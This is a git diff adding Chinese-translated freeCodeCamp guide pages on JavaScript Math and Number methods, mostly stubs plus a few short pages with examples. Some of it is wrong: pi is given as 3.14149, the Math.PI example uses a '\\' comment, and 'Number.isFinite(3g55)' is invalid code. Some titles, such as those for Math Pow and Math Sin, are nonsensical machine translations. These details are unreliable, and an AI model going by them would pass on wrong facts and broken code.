diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-ln10/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-ln10/index.md
new file mode 100644
index 0000000000..f13ef29484
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-ln10/index.md
@@ -0,0 +1,11 @@
+---
+title: Math LN10
+localeTitle: 数学LN10
+---
+## 数学LN10
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-ln10/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-ln2/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-ln2/index.md
new file mode 100644
index 0000000000..44012c51d6
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-ln2/index.md
@@ -0,0 +1,11 @@
+---
+title: Math LN2
+localeTitle: 数学LN2
+---
+## 数学LN2
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-ln2/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-log/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-log/index.md
new file mode 100644
index 0000000000..dd67802300
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-log/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Log
+localeTitle: 数学记录
+---
+## 数学记录
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-log/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-log10/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-log10/index.md
new file mode 100644
index 0000000000..5307babb08
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-log10/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Log10
+localeTitle: 数学Log10
+---
+## 数学Log10
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-log10/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-log10e/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-log10e/index.md
new file mode 100644
index 0000000000..6eb52de6fd
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-log10e/index.md
@@ -0,0 +1,11 @@
+---
+title: Math LOG10E
+localeTitle: 数学LOG10E
+---
+## 数学LOG10E
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-log10e/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-log2e/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-log2e/index.md
new file mode 100644
index 0000000000..b46916cd68
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-log2e/index.md
@@ -0,0 +1,11 @@
+---
+title: Math LOG2E
+localeTitle: 数学LOG2E
+---
+## 数学LOG2E
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-log2e/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-max/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-max/index.md
new file mode 100644
index 0000000000..da6e16176a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-max/index.md
@@ -0,0 +1,57 @@
+---
+title: Math Max
+localeTitle: 数学最大
+---
+## 数学最大
+
+`Math.max()`是一个函数，它返回作为参数传递的数值列表中的最大值。如果将非数字值作为参数传递， `Math.max()`将返回`NaN` 。
+
+可以使用`spread (...)`或`apply`数值数组作为单个参数传递给`Math.max()` 。但是，当数组值的数量过高时，这些方法中的任何一个都会失败。
+
+### 句法
+
+```js
+Math.max(value1, value2, value3, ...); 
+```
+
+### 参数
+
+数字或有限的数字数组。
+
+### 回报价值
+
+给定数值的最大值，如果任何给定值为非数字，则为`NaN` 。
+
+### 例子
+
+_数字作为参数_
+
+```js
+Math.max(4, 13, 27, 0, -5); // returns 27 
+```
+
+_无效的参数_
+
+```js
+Math.max(4, 13, 27, 'eight', -5); // returns NaN 
+```
+
+_数组作为参数，使用Spread（...）_
+
+```js
+let numbers = [4, 13, 27, 0, -5]; 
+ 
+ Math.max(...numbers); // returns 27 
+```
+
+_数组作为参数，使用Apply_
+
+```js
+let numbers = [4, 13, 27, 0, -5]; 
+ 
+ Math.max.apply(null, numbers); // returns 27 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-min/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-min/index.md
new file mode 100644
index 0000000000..698cf2a51c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-min/index.md
@@ -0,0 +1,18 @@
+---
+title: Math Min
+localeTitle: 数学敏
+---
+## 数学敏
+
+Math.min（）函数返回零或更多数字中的最小值。
+
+你可以传递任意数量的参数。
+
+```javascript
+Math.min(7, 2, 9, -6); 
+ // returns -6 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/min)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-pi/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-pi/index.md
new file mode 100644
index 0000000000..26999dc351
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-pi/index.md
@@ -0,0 +1,19 @@
+---
+title: Math PI
+localeTitle: 数学PI
+---
+## 数学PI
+
+`Math.PI`是Math对象的静态属性。它表示数学常数，定义为圆周长与直径的比值。它大约是3.14149，通常用希腊字母π表示。
+
+![pi由pi制成](https://c1.staticflickr.com/2/1207/3352784321_0d648bec78.jpg)
+
+## 例子
+
+```js
+Math.PI \\ 3.141592653589793 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/PI)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-pow/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-pow/index.md
new file mode 100644
index 0000000000..78a3b40956
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-pow/index.md
@@ -0,0 +1,27 @@
+---
+title: Math Pow
+localeTitle: 数学战
+---
+## 数学战
+
+`Math.pow()`将数字的值返回到另一个数字的幂。
+
+#### 句法
+
+`Math.pow(base, exponent)` ，其中`base`是碱值和`exponent`是由提高的数量`base` 。
+
+`pow()`是`Math`的静态方法，因此它总是被称为`Math.pow()`而不是另一个对象的方法。
+
+#### 例子
+
+```js
+Math.pow(5, 2); // 25 
+ Math.pow(7, 4); // 2401 
+ Math.pow(9, 0.5); // 3 
+ Math.pow(-8, 2); // 64 
+ Math.pow(-4, 3); // -64 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/pow)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-random/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-random/index.md
new file mode 100644
index 0000000000..d01c3edb94
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-random/index.md
@@ -0,0 +1,23 @@
+---
+title: Math Random
+localeTitle: 数学随机
+---
+## 数学随机
+
+`Math.random()`返回0（包括）和1（不包括）之间的数字。
+
+#### 句法
+
+`Math.random()`
+
+#### 例
+
+```js
+function randomInRange(min, max) { 
+  return Math.random() * (max - min) + min; 
+ } 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-round/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-round/index.md
new file mode 100644
index 0000000000..f9cd85bbb1
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-round/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Round
+localeTitle: 数学回合
+---
+## 数学回合
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-round/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-sign/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-sign/index.md
new file mode 100644
index 0000000000..b1a8ea4c08
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-sign/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Sign
+localeTitle: 数学符号
+---
+## 数学符号
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-sign/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-sin/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-sin/index.md
new file mode 100644
index 0000000000..04a6785841
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-sin/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Sin
+localeTitle: 那很好
+---
+## 数学罪
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-sin/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-sinh/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-sinh/index.md
new file mode 100644
index 0000000000..5413c8d7b2
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-sinh/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Sinh
+localeTitle: 数学Sinh
+---
+## 数学Sinh
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-sinh/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-sqrt/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-sqrt/index.md
new file mode 100644
index 0000000000..451c511481
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-sqrt/index.md
@@ -0,0 +1,29 @@
+---
+title: Math Sqrt
+localeTitle: 数学Sqrt
+---
+## 数学Sqrt
+
+函数`Math.sqrt()`返回数字的平方根。
+
+如果输入负数，则返回`NaN` 。
+
+`sqrt()`是`Math`的静态方法，因此它总是被称为`Math.sqrt()`而不是另一个对象的方法。
+
+#### 句法
+
+`Math.sqrt(x)` ，其中`x`是数字。
+
+#### 例子
+
+```js
+Math.sqrt(25); // 5 
+ Math.sqrt(169); // 13 
+ Math.sqrt(3); // 1.732050807568 
+ Math.sqrt(1); // 1 
+ Math.sqrt(-5); // NaN 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-sqrt1-2/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-sqrt1-2/index.md
new file mode 100644
index 0000000000..11f8d93627
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-sqrt1-2/index.md
@@ -0,0 +1,11 @@
+---
+title: Math SQRT1_2
+localeTitle: 数学SQRT1_2
+---
+## 数学SQRT1\_2
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-sqrt1_2/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-sqrt2/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-sqrt2/index.md
new file mode 100644
index 0000000000..616e5f09c1
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-sqrt2/index.md
@@ -0,0 +1,11 @@
+---
+title: Math SQRT2
+localeTitle: 数学SQRT2
+---
+## 数学SQRT2
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-sqrt2/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-tan/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-tan/index.md
new file mode 100644
index 0000000000..fed1c5dee4
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-tan/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Tan
+localeTitle: 数学谭
+---
+## 数学谭
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-tan/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-tanh/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-tanh/index.md
new file mode 100644
index 0000000000..2f8aca5e98
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-tanh/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Tanh
+localeTitle: 数学Tanh
+---
+## 数学Tanh
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-tanh/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-trunc/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-trunc/index.md
new file mode 100644
index 0000000000..3890130f95
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-trunc/index.md
@@ -0,0 +1,23 @@
+---
+title: Math Trunc
+localeTitle: 数学截尾
+---
+## 数学截尾
+
+`Math.trunc()`是Math标准对象的一种方法，它只通过删除小数单位返回给定数字的整数部分。这导致整体向零舍入。任何非数字的输入都将导致NaN的输出。
+
+小心：此方法是ECMAScript 2015（ES6）功能，因此旧版浏览器不支持。
+
+### 例子
+
+```javascript
+Math.trunc(0.1)   //  0 
+ Math.trunc(1.3)   //  1 
+ Math.trunc(-0.9)  // -0 
+ Math.trunc(-1.5)  // -1 
+ Math.trunc('foo') // NaN 
+```
+
+### 更多信息：
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/trunc)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/index.md b/client/src/guide/chinese/javascript/standard-objects/number/index.md
new file mode 100644
index 0000000000..8fde9de9f7
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/index.md
@@ -0,0 +1,13 @@
+---
+title: Number
+localeTitle: 数
+---
+## 数
+
+`Number` Javacript对象表示任何类型的数字。 JavaScript不区分不同类型的数字，例如整数或浮点数。它们都以统一的64位浮点格式存储，符合国际IEEE 754标准1 。
+
+新的`Number`对象是这样创建的： `var num = new Number(value)`尽管最常见的是它们可以通过为变量赋值来创建： `var num = 1.616;` 。在非构造函数上下文中（即，没有`new`运算符）， `Number`可用于执行类型转换。如果参数无法转换为数字，则返回[`NaN`](https://guide.freecodecamp.org/javascript/standard-objects/number/number-nan) 。
+
+### 来源
+
+1.  w3schools.com工作人员。 [w3schools.com:JavaScript Numbers](https://www.w3schools.com/js/js_numbers.asp) _w3schools.com。_访问时间：2017年10月31日。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-epsilon/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-epsilon/index.md
new file mode 100644
index 0000000000..60127b8255
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-epsilon/index.md
@@ -0,0 +1,11 @@
+---
+title: Number EPSILON
+localeTitle: 编号EPSILON
+---
+## 编号EPSILON
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-epsilon/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-isfinite/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-isfinite/index.md
new file mode 100644
index 0000000000..6fb02fb0cd
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-isfinite/index.md
@@ -0,0 +1,50 @@
+---
+title: Number isFinite
+localeTitle: 数字是有限的
+---
+# 数字是有限的
+
+## 描述
+
+`Number.isFinite()`方法检查传入其中的值是否为有限数。这种方法是在ES6中引入的
+
+## 句法
+
+`Number.isFinite(val)`
+
+### 参数
+
+**val** - 检查有限性的值
+
+## 返回值
+
+一个[布尔值，](https://guide.freecodecamp.org/javascript/booleans)指示值是否为有限数。
+
+## 描述
+
+`Number.isFinite`与全局[isFinite（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/isFinite)方法不同，它不会将测试值转换为数字。这意味着该值必须是一个数字并且有限以返回true。
+
+## 例子
+```
+Number.isFinite(Infinity)     // false 
+ Number.isFinite(-Infinity)    // false 
+ 
+ Number.isFinite(1234)         // true 
+ Number.isFinite(-1.11)        // true 
+ Number.isFinite(0)            // true 
+ Number.isFinite(3g55)         // true 
+ 
+ Number.isFinite('1234')       // false 
+ Number.isFinite('Hi')         // false 
+ Number.isFinite('2005/12/12') // false 
+ 
+ Number.isFinite('0');         // false, would've been true with 
+                              // global isFinite('0') 
+ 
+ Number.isFinite(null);        // false, would've been true with 
+                              // global isFinite(null) 
+```
+
+#### 更多信息：
+
+[ECMA 2015文件](https://www.ecma-international.org/ecma-262/6.0/#sec-number.isfinite) [Number.isFinite（）MDN Web文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isFinite)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-isinteger/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-isinteger/index.md
new file mode 100644
index 0000000000..83416cd950
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-isinteger/index.md
@@ -0,0 +1,51 @@
+---
+title: Number isInteger
+localeTitle: Number isInteger
+---
+# Number isInteger
+
+## 描述
+
+`Number.isInteger()`方法确定传递的值是否为整数。这种方法是在ES6中引入的
+
+## 句法
+
+`Number.isInteger(val)`
+
+### 参数
+
+**val** - 要检查是否为整数的值
+
+## 返回值
+
+一个[布尔值，](https://guide.freecodecamp.org/javascript/booleans)指示值是否为整数。
+
+## 描述
+
+如果传递的值是整数，则该方法返回`true` ，否则返回`false` 。无限和`NaN`值返回`false` 。
+
+## 例子
+```
+Number.isInteger(0);         // true 
+ Number.isInteger(-0);        // true 
+ Number.isInteger(1);         // true 
+ Number.isInteger(2);         // true 
+ Number.isInteger(-100001);   // true 
+ Number.isInteger(999999999999999999999999); // true 
+ 
+ Number.isInteger(0.1);       // false 
+ Number.isInteger(0.3);       // false 
+ Number.isInteger(Math.PI);   // false 
+ 
+ Number.isInteger(NaN);       // false 
+ Number.isInteger(Infinity);  // false 
+ Number.isInteger(-Infinity); // false 
+ Number.isInteger('10');      // false 
+ Number.isInteger(true);      // false 
+ Number.isInteger(false);     // false 
+ Number.isInteger([1]);       // false 
+```
+
+#### 更多信息：
+
+[ECMA 2015文件](https://www.ecma-international.org/ecma-262/6.0/#sec-number.isinteger) [Number.isInteger（）MDN Web文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isInteger)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-isnan/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-isnan/index.md
new file mode 100644
index 0000000000..875298e18d
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-isnan/index.md
@@ -0,0 +1,11 @@
+---
+title: Number isNaN
+localeTitle: 号码是NaN
+---
+## 号码是NaN
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-isnan/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-issafeinteger/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-issafeinteger/index.md
new file mode 100644
index 0000000000..28c9c522ca
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-issafeinteger/index.md
@@ -0,0 +1,11 @@
+---
+title: Number isSafeInteger
+localeTitle: Number是SafeInteger
+---
+## Number是SafeInteger
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-issafeinteger/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-max-safe-integer/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-max-safe-integer/index.md
new file mode 100644
index 0000000000..23f6cc942b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-max-safe-integer/index.md
@@ -0,0 +1,11 @@
+---
+title: Number MAX_SAFE_INTEGER
+localeTitle: 编号MAX_SAFE_INTEGER
+---
+## 数字MAX _SAFE_ INTEGER
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-max_safe_integer/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-max-value/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-max-value/index.md
new file mode 100644
index 0000000000..22873d8b3a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-max-value/index.md
@@ -0,0 +1,11 @@
+---
+title: Number MAX_VALUE
+localeTitle: 编号MAX_VALUE
+---
+## 编号MAX\_VALUE
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-max_value/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-min-value/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-min-value/index.md
new file mode 100644
index 0000000000..649f355184
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-min-value/index.md
@@ -0,0 +1,11 @@
+---
+title: Number MIN_VALUE
+localeTitle: 编号MIN_VALUE
+---
+## 编号MIN\_VALUE
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-min_value/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-nan/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-nan/index.md
new file mode 100644
index 0000000000..f409f30fd7
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-nan/index.md
@@ -0,0 +1,11 @@
+---
+title: Number NaN
+localeTitle: 号码NaN
+---
+## 号码NaN
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-nan/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-negative-infinity/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-negative-infinity/index.md
new file mode 100644
index 0000000000..e9d0221231
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-negative-infinity/index.md
@@ -0,0 +1,11 @@
+---
+title: Number NEGATIVE_INFINITY
+localeTitle: 编号NEGATIVE_INFINITY
+---
+## 编号NEGATIVE\_INFINITY
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-negative_infinity/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-parsefloat/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-parsefloat/index.md
new file mode 100644
index 0000000000..2636a1ab73
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-parsefloat/index.md
@@ -0,0 +1,11 @@
+---
+title: Number parseFloat
+localeTitle: 数字parseFloat
+---
+## 数字parseFloat
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-parsefloat/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-parseint/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-parseint/index.md
new file mode 100644
index 0000000000..f065c9a215
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-parseint/index.md
@@ -0,0 +1,11 @@
+---
+title: Number parseInt
+localeTitle: 数字parseInt
+---
+## 数字parseInt
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-parseint/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-positive-infinity/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-positive-infinity/index.md
new file mode 100644
index 0000000000..3da310b9f9
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-positive-infinity/index.md
@@ -0,0 +1,11 @@
+---
+title: Number POSITIVE_INFINITY
+localeTitle: 编号POSITIVE_INFINITY
+---
+## 编号POSITIVE\_INFINITY
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-positive_infinity/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-toexponential/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-toexponential/index.md
new file mode 100644
index 0000000000..eec16fcc47
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-toexponential/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.toExponential
+localeTitle: Number.prototype.toExponential
+---
+## Number.prototype.toExponential
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-toexponential/index.md) 。
+
